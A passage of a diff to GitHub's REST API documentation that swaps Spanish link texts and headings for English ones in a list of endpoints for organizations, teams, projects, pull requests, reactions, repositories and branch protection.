organización pública de un usuario](/rest/reference/orgs#check-public-organization-membership-for-a-user) -* [Configurar la membrecía de una organización pública para el usuario autenticado](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) -* [Eliminar la membrecía de una organizción pública del usuario autenticado](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) +* [List organization members](/rest/reference/orgs#list-organization-members) +* [Check organization membership for a user](/rest/reference/orgs#check-organization-membership-for-a-user) +* [Remove an organization member](/rest/reference/orgs#remove-an-organization-member) +* [Get organization membership for a user](/rest/reference/orgs#get-organization-membership-for-a-user) +* [Set organization membership for a user](/rest/reference/orgs#set-organization-membership-for-a-user) +* [Remove organization membership for a user](/rest/reference/orgs#remove-organization-membership-for-a-user) +* [List public organization members](/rest/reference/orgs#list-public-organization-members) +* [Check public organization membership for a user](/rest/reference/orgs#check-public-organization-membership-for-a-user) +* [Set public organization membership for the authenticated user](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) +* [Remove public organization membership for the authenticated user](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) -#### Colaboradores Externos de una Organización +#### Organization Outside Collaborators -* [Listar los colaboradores externos de una organización](/rest/reference/orgs#list-outside-collaborators-for-an-organization) -* [Convertir a un miembro de la organización en colaborador externo](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) -* [Eliminar a un colaborador externo de la organización](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) +* [List outside collaborators for an organization](/rest/reference/orgs#list-outside-collaborators-for-an-organization) +* [Convert an organization member to outside collaborator](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) +* [Remove outside collaborator from an organization](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) {% ifversion ghes %} -#### Ganchos de Pre-recepción de la Organización +#### Organization Pre Receive Hooks -* [Listar los ganchos de pre-recepción de una organización](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) -* [Obtener los ganchos de pre-recepción de una organización](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) -* [Actualizar el requerir los ganchos de pre-recepción para una organización](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization) -* [Eliminar el requerir los ganchos de pre-recepción para una organización](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) +* [List pre-receive hooks for an organization](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization) +* [Get a pre-receive hook for an organization](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization) +* [Update pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization) +* [Remove pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization) {% endif %} {% ifversion fpt or ghes or ghae or ghec %} -#### Poyectos de Equipo de una Organización +#### Organization Team Projects -* [Listar los proyectos de equipo](/rest/reference/teams#list-team-projects) -* [Verificar los permisos del equipo para un proyecto](/rest/reference/teams#check-team-permissions-for-a-project) -* [Agregar o actualizar los permisos de un proyecto de equipo](/rest/reference/teams#add-or-update-team-project-permissions) -* [Eliminar a un proyecto de un equipo](/rest/reference/teams#remove-a-project-from-a-team) +* [List team projects](/rest/reference/teams#list-team-projects) +* [Check team permissions for a project](/rest/reference/teams#check-team-permissions-for-a-project) +* [Add or update team project permissions](/rest/reference/teams#add-or-update-team-project-permissions) +* [Remove a project from a team](/rest/reference/teams#remove-a-project-from-a-team) {% endif %} -#### Repositorios de Equipo de la Organización +#### Organization Team Repositories -* [Listar los repositorios de equipo](/rest/reference/teams#list-team-repositories) -* [Verificar los permisos de un equipo para un repositorio](/rest/reference/teams#check-team-permissions-for-a-repository) -* [Agregar o actualizar los permisos de un repositorio de equipo](/rest/reference/teams#add-or-update-team-repository-permissions) -* [Eliminar a un repositorio de un equipo](/rest/reference/teams#remove-a-repository-from-a-team) +* [List team repositories](/rest/reference/teams#list-team-repositories) +* [Check team permissions for a repository](/rest/reference/teams#check-team-permissions-for-a-repository) +* [Add or update team repository permissions](/rest/reference/teams#add-or-update-team-repository-permissions) +* [Remove a repository from a team](/rest/reference/teams#remove-a-repository-from-a-team) {% ifversion fpt or ghec %} -#### Sincronización de Equipos de la Organización +#### Organization Team Sync -* [Listar los grupos de IdP de un equipo](/rest/reference/teams#list-idp-groups-for-a-team) -* [Crear o actualizar las conexiones de un grupo de IdP](/rest/reference/teams#create-or-update-idp-group-connections) -* [Listar grupos de IdP para una organización](/rest/reference/teams#list-idp-groups-for-an-organization) +* [List idp groups for a team](/rest/reference/teams#list-idp-groups-for-a-team) +* [Create or update idp group connections](/rest/reference/teams#create-or-update-idp-group-connections) +* [List IdP groups for an organization](/rest/reference/teams#list-idp-groups-for-an-organization) {% endif %} -#### Equipos de la Organización +#### Organization Teams -* [Listar equipos](/rest/reference/teams#list-teams) -* [Crear un equipo](/rest/reference/teams#create-a-team) -* [Obtener un equipo por su nombre](/rest/reference/teams#get-a-team-by-name) -* [Actualizar un equipo](/rest/reference/teams#update-a-team) -* [Borrar un equipo](/rest/reference/teams#delete-a-team) +* [List teams](/rest/reference/teams#list-teams) +* [Create a team](/rest/reference/teams#create-a-team) +* [Get a team by name](/rest/reference/teams#get-a-team-by-name) +* [Update a team](/rest/reference/teams#update-a-team) +* [Delete a team](/rest/reference/teams#delete-a-team) {% ifversion fpt or ghec %} -* [Listar invitaciones pendientes al equipo](/rest/reference/teams#list-pending-team-invitations) +* [List pending team invitations](/rest/reference/teams#list-pending-team-invitations) {% endif %} -* [Listar miembros del equipo](/rest/reference/teams#list-team-members) -* [Obtener la membresía de equipo de un usuario](/rest/reference/teams#get-team-membership-for-a-user) -* [Agregar o actualizar la membrecía de equipo de un usuario](/rest/reference/teams#add-or-update-team-membership-for-a-user) -* [Eliminar la membrecía de equipo para un usuario](/rest/reference/teams#remove-team-membership-for-a-user) -* [Listar los equipos hijos](/rest/reference/teams#list-child-teams) -* [Listar los equipos para el usuario autenticado](/rest/reference/teams#list-teams-for-the-authenticated-user) +* [List team members](/rest/reference/teams#list-team-members) +* [Get team membership for a user](/rest/reference/teams#get-team-membership-for-a-user) +* [Add or update team membership for a user](/rest/reference/teams#add-or-update-team-membership-for-a-user) +* [Remove team membership for a user](/rest/reference/teams#remove-team-membership-for-a-user) +* [List child teams](/rest/reference/teams#list-child-teams) +* [List teams for the authenticated user](/rest/reference/teams#list-teams-for-the-authenticated-user) -#### Organizaciones +#### Organizations -* [Listar organizaciones](/rest/reference/orgs#list-organizations) -* [Obtener una organización](/rest/reference/orgs#get-an-organization) -* [Actualizar una organización](/rest/reference/orgs#update-an-organization) -* [Listar membrecías de organización para el usuario autenticado](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user) -* [Obtener la membrecía de organización para el usuario autenticado](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) -* [Actualizar la membrecía de una organización para el usuario autenticado](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) -* [Listar las organizaciones para el usuario autenticado](/rest/reference/orgs#list-organizations-for-the-authenticated-user) -* [Listar las organizaciones de un usuario](/rest/reference/orgs#list-organizations-for-a-user) +* [List organizations](/rest/reference/orgs#list-organizations) +* [Get an organization](/rest/reference/orgs#get-an-organization) +* [Update an organization](/rest/reference/orgs#update-an-organization) +* [List organization memberships for the authenticated user](/rest/reference/orgs#list-organization-memberships-for-the-authenticated-user) +* [Get an organization membership for the authenticated user](/rest/reference/orgs#get-an-organization-membership-for-the-authenticated-user) +* [Update an organization membership for the authenticated user](/rest/reference/orgs#update-an-organization-membership-for-the-authenticated-user) +* [List organizations for the authenticated user](/rest/reference/orgs#list-organizations-for-the-authenticated-user) +* [List organizations for a user](/rest/reference/orgs#list-organizations-for-a-user) {% ifversion fpt or ghec %} -#### Autorizaciones de Credencial para las Organizaciones +#### Organizations Credential Authorizations -* [Listar las autorizaciones del SSO de SAML para una organización](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization) -* [Eliminar las autorizaciones del SSO de SAML de una organización](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization) +* [List SAML SSO authorizations for an organization](/rest/reference/orgs#list-saml-sso-authorizations-for-an-organization) +* [Remove a SAML SSO authorization for an organization](/rest/reference/orgs#remove-a-saml-sso-authorization-for-an-organization) {% endif %} {% ifversion fpt or ghec %} -#### Scim de las Organizaciones +#### Organizations Scim -* [Listar las identidades aprovisionadas de SCIM](/rest/reference/scim#list-scim-provisioned-identities) -* [Aprovisionar e invitar a un usuario de SCIM](/rest/reference/scim#provision-and-invite-a-scim-user) -* [Obtener la información de aprovisionamiento de SCIM para un usuario](/rest/reference/scim#get-scim-provisioning-information-for-a-user) -* [Configurar la información de SCIM para un usuario aprovisionado](/rest/reference/scim#set-scim-information-for-a-provisioned-user) -* [Actualizar un atributo para un usuario de SCIM](/rest/reference/scim#update-an-attribute-for-a-scim-user) -* [Borrar a un usuario de SCIM de una organización](/rest/reference/scim#delete-a-scim-user-from-an-organization) +* [List SCIM provisioned identities](/rest/reference/scim#list-scim-provisioned-identities) +* [Provision and invite a SCIM user](/rest/reference/scim#provision-and-invite-a-scim-user) +* [Get SCIM provisioning information for a user](/rest/reference/scim#get-scim-provisioning-information-for-a-user) +* [Set SCIM information for a provisioned user](/rest/reference/scim#set-scim-information-for-a-provisioned-user) +* [Update an attribute for a SCIM user](/rest/reference/scim#update-an-attribute-for-a-scim-user) +* [Delete a SCIM user from an organization](/rest/reference/scim#delete-a-scim-user-from-an-organization) {% endif %} {% ifversion fpt or ghec %} -#### Importaciones de Código Fuente +#### Source Imports -* [Obtener el estado de una importación](/rest/reference/migrations#get-an-import-status) -* [Iniciar una importación](/rest/reference/migrations#start-an-import) -* [Actualizar una importación](/rest/reference/migrations#update-an-import) -* [Cancelar una importación](/rest/reference/migrations#cancel-an-import) -* [Obtener los autores de una confirmación](/rest/reference/migrations#get-commit-authors) -* [Mapear al autor de una confirmación](/rest/reference/migrations#map-a-commit-author) -* [Obtener archivos grandes](/rest/reference/migrations#get-large-files) -* [Actualizar la preferencia de LFS de Git](/rest/reference/migrations#update-git-lfs-preference) +* [Get an import status](/rest/reference/migrations#get-an-import-status) +* [Start an import](/rest/reference/migrations#start-an-import) +* [Update an import](/rest/reference/migrations#update-an-import) +* [Cancel an import](/rest/reference/migrations#cancel-an-import) +* [Get commit authors](/rest/reference/migrations#get-commit-authors) +* [Map a commit author](/rest/reference/migrations#map-a-commit-author) +* [Get large files](/rest/reference/migrations#get-large-files) +* [Update Git LFS preference](/rest/reference/migrations#update-git-lfs-preference) {% endif %} -#### Colaboradores de Proyecto +#### Project Collaborators -* [Listar colaboradores del proyecto](/rest/reference/projects#list-project-collaborators) -* [Agregar a un colaborador del proyecto](/rest/reference/projects#add-project-collaborator) -* [Eliminar a un colaborador del proyecto](/rest/reference/projects#remove-project-collaborator) -* [Obtener permisos del proyecto para un usuario](/rest/reference/projects#get-project-permission-for-a-user) +* [List project collaborators](/rest/reference/projects#list-project-collaborators) +* [Add project collaborator](/rest/reference/projects#add-project-collaborator) +* [Remove project collaborator](/rest/reference/projects#remove-project-collaborator) +* [Get project permission for a user](/rest/reference/projects#get-project-permission-for-a-user) -#### Proyectos +#### Projects -* [Listar los proyectos de la organización](/rest/reference/projects#list-organization-projects) -* [Crear un proyecto en la organización](/rest/reference/projects#create-an-organization-project) -* [Obtener un proyecto](/rest/reference/projects#get-a-project) -* [Actualizar un proyecto](/rest/reference/projects#update-a-project) -* [Borrar un proyecto](/rest/reference/projects#delete-a-project) -* [Listar las columnas del proyecto](/rest/reference/projects#list-project-columns) -* [Crear una columna de proyecto](/rest/reference/projects#create-a-project-column) -* [Obtener una columna de proyecto](/rest/reference/projects#get-a-project-column) -* [Actualizar una column de proyecto](/rest/reference/projects#update-a-project-column) -* [Borrar una columna de proyecto](/rest/reference/projects#delete-a-project-column) -* [Listar las tarjetas del proyecto](/rest/reference/projects#list-project-cards) -* [Crear una tarjeta de proyecto](/rest/reference/projects#create-a-project-card) -* [Mover una columna de proyecto](/rest/reference/projects#move-a-project-column) -* [Obtener una tarjeta de proyecto](/rest/reference/projects#get-a-project-card) -* [Actualizar una tarjeta de proyecto](/rest/reference/projects#update-a-project-card) -* [Borrar una tarjeta de proyecto](/rest/reference/projects#delete-a-project-card) -* [Mover una tarjeta de proyecto](/rest/reference/projects#move-a-project-card) -* [Listar los proyectos de un repositorio](/rest/reference/projects#list-repository-projects) -* [Crear un proyecto en un repositorio](/rest/reference/projects#create-a-repository-project) +* [List organization projects](/rest/reference/projects#list-organization-projects) +* [Create an organization project](/rest/reference/projects#create-an-organization-project) +* [Get a project](/rest/reference/projects#get-a-project) +* [Update a project](/rest/reference/projects#update-a-project) +* [Delete a project](/rest/reference/projects#delete-a-project) +* [List project columns](/rest/reference/projects#list-project-columns) +* [Create a project column](/rest/reference/projects#create-a-project-column) +* [Get a project column](/rest/reference/projects#get-a-project-column) +* [Update a project column](/rest/reference/projects#update-a-project-column) +* [Delete a project column](/rest/reference/projects#delete-a-project-column) +* [List project cards](/rest/reference/projects#list-project-cards) +* [Create a project card](/rest/reference/projects#create-a-project-card) +* [Move a project column](/rest/reference/projects#move-a-project-column) +* [Get a project card](/rest/reference/projects#get-a-project-card) +* [Update a project card](/rest/reference/projects#update-a-project-card) +* [Delete a project card](/rest/reference/projects#delete-a-project-card) +* [Move a project card](/rest/reference/projects#move-a-project-card) +* [List repository projects](/rest/reference/projects#list-repository-projects) +* [Create a repository project](/rest/reference/projects#create-a-repository-project) -#### Comentarios de Extracción +#### Pull Comments -* [Listar comentarios de revisión en una solicitud de extracción](/rest/reference/pulls#list-review-comments-on-a-pull-request) -* [Crear un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) -* [Listar comentarios de revisión en un repositorio](/rest/reference/pulls#list-review-comments-in-a-repository) -* [Obtener un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) -* [Actualizar un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) -* [Borrar un comentario de revisión para una solicitud de extracción](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) +* [List review comments on a pull request](/rest/reference/pulls#list-review-comments-on-a-pull-request) +* [Create a review comment for a pull request](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) +* [List review comments in a repository](/rest/reference/pulls#list-review-comments-in-a-repository) +* [Get a review comment for a pull request](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) +* [Update a review comment for a pull request](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) +* [Delete a review comment for a pull request](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) -#### Eventos de Revisión en Solciitudes de Extracción +#### Pull Request Review Events -* [Descartar una revisión para una solicitud de extracción](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) -* [Emitir una revisión para una solicitud de extracción](/rest/reference/pulls#submit-a-review-for-a-pull-request) +* [Dismiss a review for a pull request](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) +* [Submit a review for a pull request](/rest/reference/pulls#submit-a-review-for-a-pull-request) -#### Solicitudes de Revisión para Solicitudes de Extracción +#### Pull Request Review Requests -* [Listar a los revisores requeridos para una solicitud de extracción](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) -* [Solicitar a los revisores para una solicitud de extracción](/rest/reference/pulls#request-reviewers-for-a-pull-request) -* [Eliminar a los revisores solicitados para una solicitud de extracción](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) +* [List requested reviewers for a pull request](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) +* [Request reviewers for a pull request](/rest/reference/pulls#request-reviewers-for-a-pull-request) +* [Remove requested reviewers from a pull request](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) -#### Revisiones de Solicitudes de Extracción +#### Pull Request Reviews -* [Listar revisores para una solicitud de extracción](/rest/reference/pulls#list-reviews-for-a-pull-request) -* [Crear revisión para una solicitud de extracción](/rest/reference/pulls#create-a-review-for-a-pull-request) -* [Obtener una revisión para una solicitud de extracción](/rest/reference/pulls#get-a-review-for-a-pull-request) -* [Actualizar una revisión para una solicitud de extracción](/rest/reference/pulls#update-a-review-for-a-pull-request) -* [Listar los comentarios para una revisión de una solicitud de extracción](/rest/reference/pulls#list-comments-for-a-pull-request-review) +* [List reviews for a pull request](/rest/reference/pulls#list-reviews-for-a-pull-request) +* [Create a review for a pull request](/rest/reference/pulls#create-a-review-for-a-pull-request) +* [Get a review for a pull request](/rest/reference/pulls#get-a-review-for-a-pull-request) +* [Update a review for a pull request](/rest/reference/pulls#update-a-review-for-a-pull-request) +* [List comments for a pull request review](/rest/reference/pulls#list-comments-for-a-pull-request-review) -#### Extracciones +#### Pulls -* [Listar solicitudes extracción](/rest/reference/pulls#list-pull-requests) -* [Crear una solicitud de extracción](/rest/reference/pulls#create-a-pull-request) -* [Obtener una solicitud de extracción](/rest/reference/pulls#get-a-pull-request) -* [Actualizar una solicitud de extracción](/rest/reference/pulls#update-a-pull-request) -* [Listar las confirmaciones en una solicitud de extracción](/rest/reference/pulls#list-commits-on-a-pull-request) -* [Listar los archivos en una solicitud de extracción](/rest/reference/pulls#list-pull-requests-files) -* [Revisar si se ha fusionado una solicitud de extracción](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) -* [Fusionar una solicitud de extracción (Botón de Fusionar)](/rest/reference/pulls#merge-a-pull-request) +* [List pull requests](/rest/reference/pulls#list-pull-requests) +* [Create a pull request](/rest/reference/pulls#create-a-pull-request) +* [Get a pull request](/rest/reference/pulls#get-a-pull-request) +* [Update a pull request](/rest/reference/pulls#update-a-pull-request) +* [List commits on a pull request](/rest/reference/pulls#list-commits-on-a-pull-request) +* [List pull requests files](/rest/reference/pulls#list-pull-requests-files) +* [Check if a pull request has been merged](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) +* [Merge a pull request (Merge Button)](/rest/reference/pulls#merge-a-pull-request) -#### Reacciones +#### Reactions {% ifversion fpt or ghes or ghae or ghec %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction){% endif %} -* [Listar las reacciones a un comentario de una confirmación](/rest/reference/reactions#list-reactions-for-a-commit-comment) -* [Crear una reacción para el comentario de una confirmación](/rest/reference/reactions#create-reaction-for-a-commit-comment) -* [Listar las reacciones de un informe de problemas](/rest/reference/reactions#list-reactions-for-an-issue) -* [Crear una reacción para un informe de problemas](/rest/reference/reactions#create-reaction-for-an-issue) -* [Listar las reacciones para el comentario de un informe de problemas](/rest/reference/reactions#list-reactions-for-an-issue-comment) -* [Crear una reacción para el comentario de informe de problemas](/rest/reference/reactions#create-reaction-for-an-issue-comment) -* [Listar las reacciones para el comentario de revisión de una solicitud de extracción](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) -* [Crear una reacción para un comentario de revisión de una solicitud de extracción](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) -* [Listar las reacciones para un comentario de debate de equipo](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) -* [Crear una reacción para un comentario de debate de equipo](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) -* [Listar las reaciones a un debate de equipo](/rest/reference/reactions#list-reactions-for-a-team-discussion) +* [List reactions for a commit comment](/rest/reference/reactions#list-reactions-for-a-commit-comment) +* [Create reaction for a commit comment](/rest/reference/reactions#create-reaction-for-a-commit-comment) +* [List reactions for an issue](/rest/reference/reactions#list-reactions-for-an-issue) +* [Create reaction for an issue](/rest/reference/reactions#create-reaction-for-an-issue) +* [List reactions for an issue comment](/rest/reference/reactions#list-reactions-for-an-issue-comment) +* [Create reaction for an issue comment](/rest/reference/reactions#create-reaction-for-an-issue-comment) +* [List reactions for a pull request review comment](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) +* [Create reaction for a pull request review comment](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) +* [List reactions for a team discussion comment](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) +* [Create reaction for a team discussion comment](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) +* [List reactions for a team discussion](/rest/reference/reactions#list-reactions-for-a-team-discussion) * [Create reaction for a team discussion](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %} -* [Borrar la reacción a un comentario de una confirmación](/rest/reference/reactions#delete-a-commit-comment-reaction) -* [Borrar la reacción a un comentario](/rest/reference/reactions#delete-an-issue-reaction) -* [Borrar la reacción a un comentario de una confirmación](/rest/reference/reactions#delete-an-issue-comment-reaction) -* [Borrar la reacción a un comentario de una solicitud de extracción](/rest/reference/reactions#delete-a-pull-request-comment-reaction) -* [Borrar la reacción a un debate de equipo](/rest/reference/reactions#delete-team-discussion-reaction) -* [Borrar la reacción a un comentario de un debate de equipo](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %} +* [Delete a commit comment reaction](/rest/reference/reactions#delete-a-commit-comment-reaction) +* [Delete an issue reaction](/rest/reference/reactions#delete-an-issue-reaction) +* [Delete a reaction to a commit comment](/rest/reference/reactions#delete-an-issue-comment-reaction) +* [Delete a pull request comment reaction](/rest/reference/reactions#delete-a-pull-request-comment-reaction) +* [Delete team discussion reaction](/rest/reference/reactions#delete-team-discussion-reaction) +* [Delete team discussion comment reaction](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %} -#### Repositorios +#### Repositories -* [Listar los repositorios de una organización](/rest/reference/repos#list-organization-repositories) -* [Crear un repositorio para el usuario autenticado](/rest/reference/repos#create-a-repository-for-the-authenticated-user) -* [Obtener un repositorio](/rest/reference/repos#get-a-repository) -* [Actualizar un repositorio](/rest/reference/repos#update-a-repository) -* [Borrar un repositorio](/rest/reference/repos#delete-a-repository) -* [Comparar dos confirmaciones](/rest/reference/repos#compare-two-commits) -* [Listar los colaboradores del repositorio](/rest/reference/repos#list-repository-contributors) -* [Listar las bifurcaciones](/rest/reference/repos#list-forks) -* [Crear una bifuración](/rest/reference/repos#create-a-fork) -* [Listar los lenguajes de un repositorio](/rest/reference/repos#list-repository-languages) -* [Listar las matrículas de un repositorio](/rest/reference/repos#list-repository-tags) -* [Listar los equipos de un repositorio](/rest/reference/repos#list-repository-teams) -* [Transferir un repositorio](/rest/reference/repos#transfer-a-repository) -* [Listar los repositorios públicos](/rest/reference/repos#list-public-repositories) -* [Listar los repositorios para el usuario autenticado](/rest/reference/repos#list-repositories-for-the-authenticated-user) -* [Listar los repositorios para un usuario](/rest/reference/repos#list-repositories-for-a-user) -* [Crear un repositorio utilizando una plantilla de repositorio](/rest/reference/repos#create-repository-using-a-repository-template) +* [List organization repositories](/rest/reference/repos#list-organization-repositories) +* [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) +* [Get a repository](/rest/reference/repos#get-a-repository) +* [Update a repository](/rest/reference/repos#update-a-repository) +* [Delete a repository](/rest/reference/repos#delete-a-repository) +* [Compare two commits](/rest/reference/repos#compare-two-commits) +* [List repository contributors](/rest/reference/repos#list-repository-contributors) +* [List forks](/rest/reference/repos#list-forks) +* [Create a fork](/rest/reference/repos#create-a-fork) +* [List repository languages](/rest/reference/repos#list-repository-languages) +* [List repository tags](/rest/reference/repos#list-repository-tags) +* [List repository teams](/rest/reference/repos#list-repository-teams) +* [Transfer a repository](/rest/reference/repos#transfer-a-repository) +* [List public repositories](/rest/reference/repos#list-public-repositories) +* [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user) +* [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user) +* [Create repository using a repository template](/rest/reference/repos#create-repository-using-a-repository-template) -#### Actividad del Repositorio +#### Repository Activity -* [Listar Stargazers](/rest/reference/activity#list-stargazers) -* [Listar observadores](/rest/reference/activity#list-watchers) -* [Listar los repositorios que el usuario ha marcado con una estrella](/rest/reference/activity#list-repositories-starred-by-a-user) -* [Verificar si el usuario autenticado ha marcado al repositorio con una estrella](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) -* [Marcar un repositorio con una estrella para el usuario autenticado](/rest/reference/activity#star-a-repository-for-the-authenticated-user) -* [Quitar la estrella de un repositorio para el usuario autenticado](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) -* [Listar los repositorios que el usuario está observando](/rest/reference/activity#list-repositories-watched-by-a-user) +* [List stargazers](/rest/reference/activity#list-stargazers) +* [List watchers](/rest/reference/activity#list-watchers) +* [List repositories starred by a user](/rest/reference/activity#list-repositories-starred-by-a-user) +* [Check if a repository is starred by the authenticated user](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) +* [Star a repository for the authenticated user](/rest/reference/activity#star-a-repository-for-the-authenticated-user) +* [Unstar a repository for the authenticated user](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) +* [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user) {% ifversion fpt or ghec %} -#### Correcciones de Seguridad Automatizadas de un Repositorio +#### Repository Automated Security Fixes -* [Habilitar las correcciones de seguridad automatizadas](/rest/reference/repos#enable-automated-security-fixes) -* [Inhabilitar las correcciones de seguridad automatizadas](/rest/reference/repos#disable-automated-security-fixes) +* [Enable automated security fixes](/rest/reference/repos#enable-automated-security-fixes) +* [Disable automated security fixes](/rest/reference/repos#disable-automated-security-fixes) {% endif %} -#### Ramas de los Repositorios +#### Repository Branches -* [Listar ramas](/rest/reference/repos#list-branches) -* [Obtener una rama](/rest/reference/repos#get-a-branch) -* [Obtener la protección de una rama](/rest/reference/repos#get-branch-protection) -* [Actualizar la protección de una rama](/rest/reference/repos#update-branch-protection) -* [Borrar la protección de una rama](/rest/reference/repos#delete-branch-protection) -* [Obtener la protección administrativa de una rama](/rest/reference/repos#get-admin-branch-protection) -* [Configurar la protección administrativa de una rama](/rest/reference/repos#set-admin-branch-protection) -* [Borrar la protección administrativa de una rama](/rest/reference/repos#delete-admin-branch-protection) -* [Obtener la protección de la revisión de una solicitud de extracción](/rest/reference/repos#get-pull-request-review-protection) -* [Actualizar la protección de la revisión de una solicitud de extracción](/rest/reference/repos#update-pull-request-review-protection) -* [Borrar la protección de la revisión de una solicitud de extracción](/rest/reference/repos#delete-pull-request-review-protection) -* [Obtener la protección de firma de una confirmación](/rest/reference/repos#get-commit-signature-protection) -* [Crear la protección de firma de una confirmación](/rest/reference/repos#create-commit-signature-protection) -* [Borrar la protección de firma de una confirmación](/rest/reference/repos#delete-commit-signature-protection) -* [Obtener la protección de las verificaciones de estado](/rest/reference/repos#get-status-checks-protection) -* [Actualizar la protección para la verificación de estados](/rest/reference/repos#update-status-check-protection) -* [Eliminar la protección de las verificaciones de estado](/rest/reference/repos#remove-status-check-protection) -* [Obtener todos los contextos de verificaciones de estado](/rest/reference/repos#get-all-status-check-contexts) -* [Agregar un contexto de verificación de estado](/rest/reference/repos#add-status-check-contexts) -* [Obtener un contexto de verificación de estado](/rest/reference/repos#set-status-check-contexts) -* [Eliminar los contextos de verificación de estado](/rest/reference/repos#remove-status-check-contexts) -* [Obtener restricciones de acceso](/rest/reference/repos#get-access-restrictions) -* [Borrar restricciones de acceso](/rest/reference/repos#delete-access-restrictions) -* [Listar a los equipos con acceso a la rama protegida](/rest/reference/repos#list-teams-with-access-to-the-protected-branch) -* [Agregar restricciones de acceso a equipos](/rest/reference/repos#add-team-access-restrictions) -* [Obtener restricciones de acceso a equipos](/rest/reference/repos#set-team-access-restrictions) -* [Eliminar restricciones de acceso a equipos](/rest/reference/repos#remove-team-access-restrictions) -* [Listar las restricciones de usuario para la rama protegida](/rest/reference/repos#list-users-with-access-to-the-protected-branch) -* [Agregar las restricciones de acceso para los usuarios](/rest/reference/repos#add-user-access-restrictions) -* [Configurar las restricciones de acceso para los usuarios](/rest/reference/repos#set-user-access-restrictions) -* [Eliminar las restricciones de acceso para los usuarios](/rest/reference/repos#remove-user-access-restrictions) -* [Fusionar una rama](/rest/reference/repos#merge-a-branch) +* [List branches](/rest/reference/repos#list-branches) +* [Get a branch](/rest/reference/repos#get-a-branch) +* [Get branch protection](/rest/reference/repos#get-branch-protection) +* [Update branch protection](/rest/reference/repos#update-branch-protection) +* [Delete branch protection](/rest/reference/repos#delete-branch-protection) +* [Get admin branch protection](/rest/reference/repos#get-admin-branch-protection) +* [Set admin branch protection](/rest/reference/repos#set-admin-branch-protection) +* [Delete admin branch protection](/rest/reference/repos#delete-admin-branch-protection) +* [Get pull request review protection](/rest/reference/repos#get-pull-request-review-protection) +* [Update pull request review protection](/rest/reference/repos#update-pull-request-review-protection) +* [Delete pull request review protection](/rest/reference/repos#delete-pull-request-review-protection) +* [Get commit signature protection](/rest/reference/repos#get-commit-signature-protection) +* [Create commit signature protection](/rest/reference/repos#create-commit-signature-protection) +* [Delete commit signature protection](/rest/reference/repos#delete-commit-signature-protection) +* [Get status checks protection](/rest/reference/repos#get-status-checks-protection) +* [Update status check protection](/rest/reference/repos#update-status-check-protection) +* [Remove status check protection](/rest/reference/repos#remove-status-check-protection) +* [Get all status check contexts](/rest/reference/repos#get-all-status-check-contexts) +* [Add status check contexts](/rest/reference/repos#add-status-check-contexts) +* [Set status check contexts](/rest/reference/repos#set-status-check-contexts) +* [Remove status check contexts](/rest/reference/repos#remove-status-check-contexts) +* [Get access restrictions](/rest/reference/repos#get-access-restrictions) +* [Delete access restrictions](/rest/reference/repos#delete-access-restrictions) +* [List teams with access to the protected branch](/rest/reference/repos#list-teams-with-access-to-the-protected-branch) +* [Add team access 